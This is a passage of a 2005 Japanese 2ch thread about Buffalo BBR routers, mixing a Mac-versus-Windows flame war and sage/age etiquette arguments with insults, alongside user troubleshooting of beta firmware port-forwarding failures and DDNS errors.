260 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:42:14 ID:JDfgkbqX
このスレを見れば分かるように、このルーターで
トラブルにみまわれ痛い思いをしている人も少ないない。
もちろんコレガでもそれは同じだろう。

安定化はファームの更新で改善され易いが、最初から持ち合わせて
いない性能はいくらバージョンアップを重ねたところで改善される
ことなどないのだよ。┐(´ー`)┌

261 :不明なデバイスさん:05/02/15 21:43:51 ID:RQWLtcL/
だんごうぜえ消えろ

262 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:46:07 ID:JDfgkbqX
Windowsをけなされるより、BBRをけなされる方が
気に障るようですね。

どっちらにせよ、Windowsがポンコツ三流品なことも
このルーターの性能が低いことも事実ですから。┐(´ー`)┌

263 :不明なデバイスさん:05/02/15 21:47:24 ID:K98NtD1i
【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/415

通報しますた

264 :不明なデバイスさん:05/02/15 21:48:28 ID:V/ODWUzN
>>262
もしかしてMac信者さんですか?
信者はMacユーザーのガンであり天敵なので、
さっさとWindowsユーザーに転向して下さいね。┐(´ー`)┌

【あなたに相応しいスレ】
Mac信者がMac環境に及ぼす悪影響について語るスレ
http://pc7.2ch.net/test/read.cgi/mac/1103803596/

265 :不明なデバイスさん:05/02/15 21:48:44 ID:uYW5Y3YO
な〜にが(ヲ団子チャソ)だ、笑っちゃwww

糞虫の方がふさわしいwww

266 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:49:42 ID:JDfgkbqX
>263

今日のお団子ちゃんはちゃんとルーターの話
してるじゃん。(´・▽・`)

267 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:50:43 ID:JDfgkbqX
>>264
>もしかしてMac信者さんですか?

いえ違いますよ。
私は只のマックユーザーです。┐(´ー`)┌

268 :不明なデバイスさん:05/02/15 21:50:55 ID:RQWLtcL/
何がけなされるとかじゃなくて、お前の一方的な偏見で語られることが一番ウザイ。
消えろよデブw

269 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:53:24 ID:JDfgkbqX
>268

妄想でデブとか決めつけちゃる人より
かなりマシだと思うけど・・・。┐(´ー`)┌

270 :不明なデバイスさん:05/02/15 21:53:53 ID:RQWLtcL/
見た目も団子なんだろ?早く消えろよなオデブチャンw

271 :不明なデバイスさん:05/02/15 21:54:00 ID:7BQ0e5lB
「放置できない人も荒らし」ってのは名言ですね

 ('A`)  スルー ('A`)  スルー ('A`)  スルー
 (〜)〜     (〜)〜    (〜)〜
  ノノ       ノノ       ノノ

【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/415

だな。スマン知らなかった

272 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:54:59 ID:JDfgkbqX
そもそも、君たちはこのルーター使って
安定動作して問題もないんでしょ?

だったら何を目的にスレに居着いてるの?┐(´ー`)┌


273 :不明なデバイスさん:05/02/15 21:56:20 ID:RQWLtcL/
>>271
そういやそうだ。俺もバカダンゴで遊びすぎたw

274 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:09:04 ID:JDfgkbqX
参考までに君たちに聞きたいんだけど、なんで
やましくもないスレなのに、みんなこぞって
下げてカキコしてるの?

本来、目立ちゃまずいスレだから、下げが厳守され、
その意味と効力を発揮して来たけど、全てのスレが
下がってたら下げの意味がないとは思わないの?

上がるスレがデフォルトだからこそ、下げる意味が
あるわけで、普通のスレまで全て下げてたら意味ないでしょ?

275 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:14:49 ID:JDfgkbqX
私は意図的に上げてるわけでもなく、新規の書き込みは
自動的に上がるように2ch自体がそう作られているわけで、
その標準状態では困るようなコソコソ系のスレだけ、
システム標準に逆らって意図的に上げを防止する目的が
本来の下げなんじゃないの?

もし下げが標準で有るべきと思うのなら、2chのシステム
が新規でスレ立てする時にデフォルトを決定できるように
するとか、標準を下げにしてしまうとか変更するべきで
あって、下げを強要するべきことではないと思うんだよね。



276 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:18:18 ID:JDfgkbqX
そりゃ、お団子ちゃんがわざわざageと買いて
カキコしてるなら上げ荒らしに認定されても仕方ないけど、
普通にカキコしてるだけで上げ荒らしにされちゃあ、
お団子ちゃんだって納得できないよ〜。

お団子ちゃんは2chの標準状態に委ねているだけであって、
意図的にどうこうしているわけじゃないんだからね。

逆に見れば、君たちこそ意図的に下げてばっかりいる
下げ荒らしとして非難されるべきだと思うんだけどなぁ〜。┐(´ー`)┌

277 :不明なデバイスさん:05/02/15 22:21:54 ID:1d74VN9U
>お団子ちゃん ◆DANGOpn1U2

こっちで反論しろ
【強化】age あらし、保守あらし議論スレ【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1100154700/l50

age荒らしはどう扱うの?
http://qb5.2ch.net/test/read.cgi/sec2chd/1066666869/l50

278 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:27:42 ID:JDfgkbqX
>277

age荒らしとしてお団子ちゃんを通報したのはここのスレなんだから、
ここで文句を言うのは当たり前だよ。

2chが標準でageをデフォルトにしているのに、ageは荒らしなんて
決めつけてること自体おかしなことだよね。┐(´ー`)┌

279 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:31:18 ID:JDfgkbqX
度々やましくもない普通のスレでのカキコなのに、
sageを知らない人や書き忘れた人に、下げろ下げろと、
まるで虐めのように言ってる人を見かけるけど、
sageなんてものがあるからこそ、こんな虐めを発生する
わけなんだから、もうsageを当たり前のごとく使うのは
止めにしませんか?

少なからずこのスレはコソコソ書き込まなきゃならない
ような裏系のスレじゃないんだからさ。┐(´ー`)┌


280 :不明なデバイスさん:05/02/15 22:32:42 ID:xtLAWh3+
>278
スレ違い

281 :不明なデバイスさん:05/02/15 22:33:14 ID:NQWBP1uH
顔文字
www

282 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:35:58 ID:JDfgkbqX
書き込みがあれば自動的にスレッドが上がり、目立つような
システムを2ch自体が標準にしている以上、そのシステムに
そった自動的な上げは悪いことでも何でもない。

要は書き込みの多いスレは人気スレッドだから、自然と目立つ
ところに配置され、カキコの無いスレは自然と下になるように
なっているんだから、その便利なシステムを台無しにするかの
如くsageまくっている人の方が悪質だと思いますよ。┐(´ー`)┌

283 :不明なデバイスさん:05/02/15 22:42:21 ID:XJoEavo7
お団子ちゃんはメルコ社員。

284 :不明なデバイスさん:05/02/15 22:44:31 ID:RC/uVN8K
そうだな、じゃなきゃこのこんな必死にレスしてるわけないよなw

285 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:45:05 ID:JDfgkbqX
似たスレが乱立することは良くあることですが、2chの
標準システムに通りにカキコの多い人気のあるスレの方が
上がっていれば、2chで情報を求めに来た人にとっても好都合なわけで、
逆に良いスレが下がり過ぎていたら、人や情報も集まり難く
なるだけで双方にとってメリットにはなりません。

みなさんそう思いませんか?┐(´ー`)┌

286 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:48:01 ID:JDfgkbqX
とまあ、少し話しが長くなってしまいましたが、
2chシステムに委ねた自動的な上げより、強制的な
下げまくりの方がよっぽどタチが悪いと言うことです。

これからは普通のスレでsageてる人を見かけたら、
下げてんじゃねーぞ。( ゚Д゚)ゴルァ!!と言ってやって下さいね。


287 :不明なデバイスさん:05/02/15 22:48:21 ID:tkw+++vg
スレ違いって言うか板違いの話題をageでしつこく続けるのはどうかと思う
有益な情報や質問がageで書き込まれるならとにかくいまさら話す必要の無いagesage議論ぐらいはsageでやって

288 :不明なデバイスさん:05/02/15 22:51:41 ID:NQWBP1uH
ageようがsageようが自由。
そういう機能があるんだから、どっちでもいい。
強制することは出来ない。

289 :不明なデバイスさん:05/02/15 22:54:02 ID:7BQ0e5lB
前に上げるとサーバに不可が掛かるから下げた方が良いと話を聞いた事がある。
あと上げると馬鹿がやってきてスレを荒らすと。

そろそろ良い加減にスレと関係無い話止めようか。

290 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:55:13 ID:JDfgkbqX
あまり人が来て欲しくないようなスレなら下げだろうが、
最近人来ないね。とか、情報少ないね。とか言ってながら
sageてるバカの気が知れない。┐(´ー`)┌

291 :不明なデバイスさん:05/02/15 22:57:17 ID:NQWBP1uH
馬鹿と認めているやつの相手をむきになってしている煽り耐性の無い糞コテの気が知れない。

292 :不明なデバイスさん:05/02/15 22:57:42 ID:RC/uVN8K
age sageでタチ悪いねwプゲラwww


293 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 22:58:25 ID:JDfgkbqX
結局は、下げ下げうるさい奴がいるから、
皆下げてるだけであって、本来の意味や
目的など考えて下げてる奴などほとんど
いないと思う。

そんな下げ下げバカの一つ覚えのごとく
言ってる奴のいいなりになってる君たち
は情けないと思うよ。┐(´ー`)┌

294 :不明なデバイスさん:05/02/15 23:00:06 ID:GunVBPEx
「放置できない人も荒らし」ってのは名言ですね

 ('A`)  スルー ('A`)  スルー ('A`)  スルー
 (〜)〜     (〜)〜    (〜)〜
  ノノ       ノノ       ノノ

【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/415

295 :不明なデバイスさん:05/02/15 23:00:46 ID:NQWBP1uH
上から読んでみたが、お団子ちゃん ◆DANGOpn1U2っての板違いの話題ばかりしてるじゃないか。
それについてなんか弁解はあるか。

296 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 23:02:00 ID:JDfgkbqX
本来悪いことをしているわけでもないのに、
ごめんなさいっと謝ってsageカキコ。

理不尽だとは思わないのか?

悪いのは下げ下げを文句を言う側であって、
メール欄を無記入でカキコすることは悪い
ことでも何でもない。

おまえらも下げ下げ房に負けるな!!

297 :不明なデバイスさん:05/02/15 23:03:53 ID:NQWBP1uH
都合の悪い話題はスルーか
全く往生際の悪い糞コテだな

298 :不明なデバイスさん:05/02/15 23:04:49 ID:63cprJlN
>>295
かまうなよボケ

299 :不明なデバイスさん:05/02/15 23:07:41 ID:NQWBP1uH
そういう突っ込みや>>294みたいなコピペ自体が餌だし、何をいまさら。
結局本当の意味でスルーできないんだよな。

300 :不明なデバイスさん:05/02/15 23:08:03 ID:RC/uVN8K
>>297

   それが糞コテ、クオリティ。

301 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 23:08:13 ID:JDfgkbqX
>295

ルーターと言えばセキュリティー関連商品なわけで、
それは自然とWindowsのセキュリティーの悪さにも
話が発展するわけでして、反対に安全なMacの話も
登場することにも繋がり・・・・。┐(´ー`;)┌

302 :不明なデバイスさん:05/02/15 23:09:21 ID:S0rIxgoY
ファーム変えてからWAN<->LOCALでHTTPDが通らなくなったんだけど、
同じ症状の人いませんか・・・うぅぅ・・・

303 :不明なデバイスさん:05/02/15 23:10:02 ID:NQWBP1uH
ルーターそのものの話題ではなく、winmacの比較がしたければ相応の板がある。そこでやれ。
ここではソフトウェアの話題は板違い。

304 :不明なデバイスさん:05/02/15 23:10:52 ID:RQWLtcL/
>>302
バージョンは?

305 :302:05/02/15 23:11:47 ID:S0rIxgoY
あぁ、なんか変な文章になってしまった・・・

IPアドレス変換でTCP80番を明けてWebサーバを公開してたんですが、
ファーム更新したせいかどうかわからないけれど、サーバが参照できなくなっているみたいなんです。

DynDnsではちゃんとWAN側のIPを参照できている様なので、
ルータの問題かなぁ・・・と。

それともBフレッツが悪さしてんのかなぁ・・・

306 :302:05/02/15 23:13:40 ID:S0rIxgoY
>>304

あぁすみません、こんなに早くレスがつくと思っていなかったもので・・・

1.11 Release 0003です。

307 :不明なデバイスさん:05/02/15 23:15:22 ID:hG7L5SLS
ギコナビでNGワード設定、やっと覚えた。こんなに簡単だったとはorz
必要は発明の母ですな。

308 :不明なデバイスさん:05/02/15 23:16:12 ID:xoZgytHG
β使いはここに書き込む前にバファロに報告汁

1.10ならここでも可

309 :不明なデバイスさん:05/02/15 23:28:32 ID:BUzg2SV4
>305
以前のファームで問題なかったのなら戻して様子見。
その間にメルコに連絡して解決策が出るまでまつ。
βファームはそもそも人柱なんだしね・・・・

310 :不明なデバイスさん:05/02/15 23:33:44 ID:voha6cAS
俺も
お団子ちゃん ◆DANGOpn1U2
NG登録した、すっきり!

311 :不明なデバイスさん:05/02/15 23:35:31 ID:AruVlqRv
>>254
知ったか言うんじゃないよ
SPIもON,OFFしかなくONにするとすべてステルスになりネットサーフィン
するだけで、モッサリなるのにな しかも不良があるのにファームウエアもでもしないしね
コレガは、終わってるよ

312 :不明なデバイスさん:05/02/15 23:38:57 ID:RQWLtcL/
>>310>>311
反応されたらまたウザくなるからやめようぜ、な?

>>306
前のバージョンで不満がないなら前のを使い続けるのがいいと思う。
新しければいいってわけじゃなし。自分に必要な更新があった場合にバージョンアップさせるのが普通。

313 :不明なデバイスさん:05/02/15 23:39:17 ID:uYW5Y3YO
>>305
WAN側に問題無いなら、LAN側の設定はどう?
ルータ設定の問題だと思うなあ。特定できなくてスマソ。

314 :不明なデバイスさん:05/02/15 23:39:37 ID:BUzg2SV4
ほっとけほっとけ、ヘタレの言うことなんざ。
所詮テイレベルオタの言うことだ。

315 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 23:49:04 ID:JDfgkbqX
自分の使っている製品を信じたい気持ちは分かるけど、
あまり度が過ぎると偏った都合のいい評価しかできない
腐った人間になってしまいますよ。┐(´ー`)┌

316 :不明なデバイスさん:05/02/15 23:55:18 ID:uYW5Y3YO
ヲ団子チャソの荒らしについて
※NGワード設定をお勧めいたします。

◆お団子ちゃん
◆DANGOpn1U2
◆JDfgkbqX

尚、意図的にID変更や、
PCを再起動(寝起きに起因:大体午前5時頃〜午後1時の間などに就寝)などによるID変更

上記には、くれぐれもご注意願います。

317 :不明なデバイスさん:05/02/15 23:58:29 ID:AruVlqRv
マックの事言ってるのでつか

318 :不明なデバイスさん:05/02/16 00:03:01 ID:NQWBP1uH
>>315
それを信じてるわけでもなければ、偏った評価をしているわけでもない。

VSがしたければよそでやれ。使い分けも出来ないやつが何を言っても戯言だ。
ここはスレタイの製品のスレだ。他製品との比較は総合スレでやるべきだし、
関係の無いwinmac論争は他板の範疇だ。

>>316
スルーの推奨を呼びかけるレスは餌にしかならんぞ。
相手をしてるやつは明確な意思があってやってるんだからそんなことを書き込んでも無駄。

319 :不明なデバイスさん:05/02/16 00:06:34 ID:zZmqK0lD
正直なところ、3〜5千円のルータにしては良いと思う。
分かって論議してるんじゃないの? ここって??

その上が望みならオプトやヤマハにでも行けば良い。
それでも満足できなけりゃラックマウントのでかいの買え。

320 :不明なデバイスさん:05/02/16 00:23:18 ID:keRYBWHx
恥ずかしい…
MAC使うのやめたくなった…
でも、いまさらWINに転向するのもめんどくさいし…
みんな聞いてよ MACてホントに使いやすいんだよ?
WINユーザーさんごめんね

ちなみにうちのBBR(H)はMACも快適です

321 :不明なデバイスさん:05/02/16 00:32:21 ID:472sUGj4
あぼーん(゚д゚)ウマー!
スッキリした

322 :不明なデバイスさん:05/02/16 00:40:55 ID:ybyWFUWt
あぼーんしました
あぼーん最高
あぼーんしようぜ。
どれもこの上ない良餌

>>320
同じ物を使っているから同じようなやつとひとくくりにするような輩は所詮その程度の者
気にするな。

323 :不明なデバイスさん:05/02/16 00:54:11 ID:zZmqK0lD
>320
気にするな、使いやすいと思うモノを使ってれば良いだけのこと。

324 :不明なデバイスさん:05/02/16 01:36:25 ID:Wp1v3vw7
すごい勢いでスレがのびたので何か新情報でもあったのかと思ったら、殆ど見えない('A`)

325 :不明なデバイスさん:05/02/16 03:46:42 ID:F/8Y4ssH
知らない方がシヤワセって事もあるさ。

326 :不明なデバイスさん:05/02/16 04:39:34 ID:6kuRvCOh
>>325
その分ユーザにシワヨセが・・・

327 :不明なデバイスさん:05/02/16 09:36:03 ID:uKhXqGC2
132です。遅レスすみません。
>134 >135 へ
説明不足でした。当然dyndnsも試しましたが同じ状況なので、日本語のサイト
の方がわかりやすいので、元に戻して使っています。
(メルコ曰くdyndnsで実績があるだけで、保障があるわけではない。
 つまりどのサイト使おうが同じという事)
今日再設定3日目ですが、DVDレコの電源を入れなおしただけで、DNSサーバー
エラーに.....orz
(DVDレコのIPは固定化しているのですが)
どなたか知恵を拝借できないでしょうか?


328 :不明なデバイスさん:05/02/16 11:31:13 ID:YqQImWw4
>>327
・最新ファーム(1.10)にする
・ルータのIPアドレスを192.168.101.3、接続機器のIPアドレスを192.168.101.3〜にする
・ネットワーク設定->経路情報->LAN側RIP受信を「なし」に設定

あと、DVDレコーダーの型番は?
もしかしたらDVDレコーダー側の問題かも…

東芝、HDD搭載DVDレコーダ「RD」シリーズが“踏み台”になる危険性
〜セキュリティ設定「あり」に変更を呼びかけ
ttp://internet.watch.impress.co.jp/cda/news/2004/10/06/4882.html

329 :不明なデバイスさん:05/02/16 11:32:28 ID:YqQImWw4
>>328
間違えた_| ̄|○

【誤】
・ルータのIPアドレスを192.168.101.3、接続機器のIPアドレスを192.168.101.3〜にする
【正】
・ルータのIPアドレスを192.168.101.1、接続機器のIPアドレスを192.168.101.3〜にする

330 :不明なデバイスさん:05/02/16 11:33:10 ID:v1PeH7SD
>>327
当方BBR-4MG + RD-XS34 + POINT(DSL)で問題なく動作中。
>DNSサーバーエラー
ってのがよくわからないです。
これはルータがハングアップしているということですか?
それともDDNSの更新が出来ていないということですか?

基本的にDDNSサービスは頻繁なIP更新は出来ませんので、
そちら様のIPが1時間のうちに数回変わるような環境でしたら
DDNS側でIPの更新が規制されている可能性があります。

331 :330:05/02/16 11:35:49 ID:v1PeH7SD
追加
BBR-4MG@HG 1.11β
DVDレコのIP:192.168.101.100

332 :不明なデバイスさん:05/02/16 18:03:16 ID:QCmruLBF
まずnslookupで引けてるかどうか そっからいこう

333 :不明なデバイスさん:05/02/16 22:01:28 ID:hYhS9Fm0
この機種でzive.orgのDDNSは使えますか?

334 :不明なデバイスさん:05/02/16 23:09:54 ID:x6WB6Hgo
327です。328さんありがとうございます。ファームは1.10です。フレッツモア2
DVDレコは東芝RD-XS41
・工場出荷、初期化時のIPが192.168.11.1でレコは192.168.11.3で使ってますが、
192.168.101.1でなくても問題ないですよね?
>ネットワーク設定->経路情報->LAN側RIP受信を「なし」に設定

ここがRIP1とRIP2両方だったので変更しました。ここの効用がわかりませんが、
これが功を奏して欲しいものです。

330さんへ。ルーターはDDNS以外問題ないので、おそらくDDNSの更新が出来て
いないです。フレッツなので短くても数時間はグローバルIPアドレスは変わり
ません。アドレスが変わった際に送る情報のログが溜まって、DDNS機能だけが
ハングアップするという事なのでしょうか?

332さんへ。ありがとうございます。今は正常なのでIPアドレスは引けます。
DNSエラーになったときにもう一度試してみます。


335 :不明なデバイスさん:05/02/16 23:16:26 ID:QCmruLBF
素直にDice使っといたら?
ソフト起動は嫌かもだけど

336 :お団子ちゃん ◆DANGOpn1U2 :05/02/16 23:36:22 ID:jEIo6zur
【今日のコピペ】

Mac miniは最も安いアップルのコンピューターだが、消費電力という観点からしても非常に安い。

http://www.cquest.orgの管理者は1.42GHzのMac miniの消費電力を調べた。
平均で20〜25ワット、最大で40ワットだった。

同サイトは他のマシンの消費電力とも比較した。たとえば、1.7GHzのAthlonを搭載したある
デスクトップPCはMac miniの8倍も電力を消費した。

電気代を大幅に削減できるので、大企業は興味を刺激されるだろう。

337 :お団子ちゃん ◆DANGOpn1U2 :05/02/16 23:51:58 ID:jEIo6zur
【今日のコピペ 第二弾】

Symantecのジョン・トンプソンCEOは、最近セキュリティ分野に進出してきたMicrosoftの取り組みを「まだ子供レベル」と一蹴した。

http://www.itmedia.co.jp/enterprise/articles/0502/16/news048.html

【今日のコピペ 第三弾】

Windows Media Center PCを使ってみたが……

http://www.itmedia.co.jp/news/articles/0502/15/news047.html

セットアップするのに3日もかかるんだってぇ。┐(´ー`)┌

338 :不明なデバイスさん:05/02/16 23:57:04 ID:kmScrYvX
>>335
(´-`).。oO(DVDレコじゃDiCE使えんよ)

339 :不明なデバイスさん:05/02/17 00:01:44 ID:QCmruLBF
ああ そっか
1台PC 常時起動か…

ん〜 そりゃ駄目だな

340 :305:05/02/17 00:05:08 ID:Y1AXmv2B
あ〜、やっぱりファームのせいでした。

1.10に戻したらそれだけで問題なくアドレス変換できているみたいです。
DNSひいてみたらDynDNSはちゃんと機能している事が確認できたので、
やはりルータを疑ってみたらズバリでした。

サーバ公開とかされている方は1.11βは控えた方がよさそうです。
いろいろと助言をいただきました皆様、ありがとうございました。

341 :不明なデバイスさん:05/02/17 00:09:28 ID:vof3dh2d
βで鯖立てるやつはさすがにいないだろ。

342 :不明なデバイスさん:05/02/17 00:20:40 ID:MQWG0t14
>>340
バグ報告出しておけよ

343 :不明なデバイスさん:05/02/17 03:35:42 ID:AUqq0Prz
新しいモノが全て良いものではないと言う見本みたいだな。

344 :不明なデバイスさん:05/02/17 03:37:07 ID:3e6wCj/5
>>341



自分も >>340 と同じようにアドレス変換使ってるんだけど、急に同じサーバー内
でトラックバックが送れなくなったので変だなとか思ってた...
「セキュリティ強化されたんだろうな、うん」とか勝手に思って、 PingProxy
通してお茶濁してたよ orz


345 :怨念株式會社:05/02/17 11:15:13 ID:By79KlZ/
>>343
IE6も同様
IE5.xの方が使いやすい
IE6以降はある機能が(あるけど)使えなくなってる

>1.11β
ベータが取れるまで入れないほうがいいな

>>336
>電気代を大幅に削減できるので、大企業は興味を刺激されるだろう。
鯖としては使えるかもしれんが
EPIAより消費電力大きすぎなんで微妙

だんごは↓に移動しろよ
Macはもうそろそろ消えるんじゃない? その2
http://pc5.2ch.net/test/read.cgi/os/1108273298/l50

346 :不明なデバイスさん:05/02/17 12:53:42 ID:FnPoHu7K
だんごムシ

347 :不明なデバイスさん:05/02/17 15:12:44 ID:8/kqSyU7
何もやりとりしてないPCのLEDがピカピカ点滅し続けるんだが。
PCの電源を落としても点滅し続ける。
なにこれ?

348 :不明なデバイスさん:05/02/17 15:39:22 ID:JWr0VX3U
妖精のいたずら

349 :不明なデバイスさん:05/02/17 15:46:03 ID:llFbZRFv
>>347
電源落としたPCの電源コードをコンセントから抜け

350 :不明なデバイスさん:05/02/17 15:49:57 ID:8/kqSyU7
完全に落としたら、もちろん止まるよ。
ハブとかにつないでもまったくピカピカ点滅しないんだが、
このルータだけは点滅し続けるんだよ。

351 :不明なデバイスさん:05/02/17 16:22:11 ID:AUqq0Prz
だんごは所詮ハッタリ野郎。
話をはぐらかすしかできない根性無し。
技術的コメントもまともに出来ないのはLOGからも解る。
所詮、PCに恨みを持っただけのトウシロウMacユーザー。
おそらく自慢のMacも大した事に使ってない悪寒。

352 :不明なデバイスさん:05/02/17 17:41:18 ID:LfVXj8lh
Macが必要な部署ならMacMiniでは力不足で役に立たない罠

353 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 18:31:39 ID:iYeiFBMg
以前は見る目の高いマカーがWindowをバカにしていたのだけが、
これだけ緊急レベルのバグや不都合が続出し続けていると、
流石に鈍感なドザでも如何にWin_OSが三流で粗悪なポンコツOSで
あるかに気づき始めたようで、最近ではコラムなどでも本音を漏らして
いるのを目にする機会が多くなったよね。┐(´ー`)┌

354 :不明なデバイスさん:05/02/17 18:39:14 ID:ViNph84N
てか皆あぼーんしたら?
あれをNGnameに入れとけばスッキリしますぞ。

355 :不明なデバイスさん:05/02/17 18:43:27 ID:llFbZRFv
353が飛んでるんだが、またアレが何か書いてるのか?

356 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 18:49:00 ID:iYeiFBMg
ま、使い易さだけなら慣れでカバーできる部分もあるだろうが、
粗悪な三流製品を使い続けて行くことによる苦労もそろそろ
限界気味な人が多くなって来てるような気がするよ。

Windows98→Windows Meや、Windows2000→XPにメジャー
アップデートした時もそうであったように、Windowsのアップデートは
中身の薄い変化とは正反対にOSは激重くなるのが常で、次期ロングホーン
は激重くなると言われているのでブチ切れる人も少なくないだろうね。

ま、それでも君たちは間違ってもMacに移行なんてしないで下さいね。
┐(´ー`)┌

357 :不明なデバイスさん:05/02/17 18:53:20 ID:By79KlZ/
>>354
今入れた

>355
そこには"どさ"って単語が入ってる予感

>>352
正解
速度的には

MacMini = Epia
Mac = Pentium4搭載(非HT)

こんな感じ

358 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 18:58:49 ID:iYeiFBMg
Windows95→Windows98→Windows MEが
進歩と言うより退化と言われても仕方ない変化だったように、
Windows2000→Windows XP→Longhornで
NTも死に絶えるだろうね。┐(´ー`)┌

359 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 19:08:10 ID:iYeiFBMg
今までメジャーアップデートの度にWindowsは重くなり続けたが、
それでもCPUなどの進化スピードに助けられ、新しいマシンを使えば
重さカバーするこが可能だったが、今のパソコン環境は以前のように
速度進化はなくなった。

そんな状況下で激重いLonghornが登場したら、流石に我慢強いドザでも
今までのような感覚でWindowsを見ることは出来なくなるだろうね。

ま、三流製品を選択したのだから仕方ないことなんだろうけどね。┐(´ー`)┌

360 :不明なデバイスさん:05/02/17 20:26:59 ID:VFJD6ev5

MacはいいOSでありPCだ。まともなユーザーはみんな知っている。
マカーもドザも。

古川のおっさん(Apple I/IIでコンピュータと出会い、初代Macintoshを発売日に買った鉄ヲタ。
ASCIIにいて日本MS社長、今じゃMSのバイスプレジデント、下手すりゃAppleの社長だった)
おっさんは、Macユーザーはスタイリッシュであるべき。って言ってる。

それは多くのまともなMacユーザーの理想だ。
ところが誰かさんは、スタイリッシュなPCで、しこしこ2ch荒らし。

団子はもう一度Macユーザーとして胸に手を当てて考えてみろ。
Macに笑われてる己を。Macを不当に貶めているのが誰なのかを。

わかんないようなら、もうNG登録するよ。

361 :不明なデバイスさん:05/02/17 20:39:56 ID:Sezxhq23
>>294
報告はそのスレじゃだめらしい、「◆tiffinlc2w」という人の話だと。
どこに通報しよう(´・ω・`)

362 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 20:46:28 ID:iYeiFBMg
>360
>MacはいいOSでありPCだ。まともなユーザーはみんな知っている。
>マカーもドザも。

流石にほとんどのドザは知らないと思うよ。
知ってたらWindows VS Macになんて論争に発展しない。

Macをまともに使ったこともないからこそ、三流ポンコツOSと
Macを比べてどうこう言えるんだよね。

ま、知らぬがほとけでさぁ〜。┐(´ー`)┌

363 :不明なデバイスさん:05/02/17 20:49:15 ID:f+UPGjNX
Macて腐ったリンゴとよく言うが
>>359みたいに人間まで、腐っていくみたいだな
win使いは、Macなんて気にもしてないのにね

364 :不明なデバイスさん:05/02/17 20:55:03 ID:KntC3I31
Jane Doe Styleの「あぼーん」今回始めて使ったけど、これ便利だな
びくりしたよ

365 :不明なデバイスさん:05/02/17 20:55:34 ID:VFJD6ev5

いいか、古川のおっさんのように、
この業界を動かしてるのは、ドザ、マカー以前に、
コンピュータが大好きなおっさん達だ。


2chの荒らしなんて低俗な用途に、美しいMacを使うな。
そんな程度のMacユーザーが、マカーとして大きな顔をするな。糞が。

じゃあな。

366 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 20:56:34 ID:iYeiFBMg
こんな三流ポンコツ品をドザの人たちはサブではなく、
メインで使っているんだから気が知れないよ。

まさかWin_OSが三流品でポンコツOSと言うことに
異議を唱える人なんていないよね?

ま、所詮パクリまくって大きくなった会社の製品だから、
良い物など開発できる才能などあるわけもなく、
所詮は他社の作った製品の焼き直し(要するにパクり)しか
出来ない会社なんだよね。┐(´ー`)┌


367 :不明なデバイスさん:05/02/17 20:56:50 ID:7uTjP6wR
4HGですが、ここ最近、セキュリティー高の状態で、DNSサーバへのアクセスをWAN-OUTアタックと勘違いして、インターネットに接続不可になるのですが。セキュリティ中にするととたんにつながります。以前はこんなことなかったのですが、故障でしょうか?

368 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 21:00:35 ID:iYeiFBMg
>367

一見ルーター側に問題があるようなトラブルでも、
実はWindows側に問題がある場合も多いので、
三流OSの方に目を向けてみるのもトラブル解決への
近道だと思うよ。┐(´ー`)┌


369 :不明なデバイスさん:05/02/17 21:06:20 ID:AUqq0Prz
一部のカスタムチップ以外Macオリジナル品てのは無い。
OSももはやBSDに皮かぶせただけの単なる見かけ倒し。
(BSDは軽いがOSXはその皮のお陰でひたすら重い)
これを見てPCと比較してる時点すでにという神経がおかしい。
今時のMacはメモリでもビデオカードでも何でもかんでも
PCと同じ部品を使っている。 文句があるなら違うモノ使え。

あと、NT系の出発点はDEC・・・ 98計と一緒に扱うのがおかしい。

370 :不明なデバイスさん:05/02/17 21:06:55 ID:By79KlZ/
>>361
あのバカに任せるか・・・

371 :不明なデバイスさん:05/02/17 21:09:26 ID:7dF7smiV
基地外はスルー汁
構われるのが・・・
目 的 な ん で す か ら

372 :不明なデバイスさん:05/02/17 21:17:19 ID:zMxYfZOw
プゲラ
釣られ過ぎ

373 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 21:23:18 ID:iYeiFBMg
>>369
>OSももはやBSDに皮かぶせただけの単なる見かけ倒し。

そんなに表面的なことだけで済むほど簡単なことなら
デスクトップOSとして他のUNIX系OSはもっと成功していても
良さそうなもんだけどね。

骨と表皮以外の部分の重要性が分かってないらしい。┐(´ー`)┌

374 :不明なデバイスさん:05/02/17 21:24:39 ID:fmd2QKWe
>>370
その人バカなのかい?(:´Д`)

375 :不明なデバイスさん:05/02/17 21:27:02 ID:b9vQY6gm
ID:AUqq0Prz 失せろヴォケ

376 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 21:28:58 ID:iYeiFBMg
これやターボLinuxなんかもそうだけど、皮だけがそんなに
重要な要素だと思うなら、Windowsのインターフェイスをもろに
パクッてるこれらのOSはもっと世の中に受け入れられても
受けても良さそうに思うけど?

「Solaris 10」触ってみました!
http://pc.watch.impress.co.jp/docs/2005/0216/nishikawa.htm

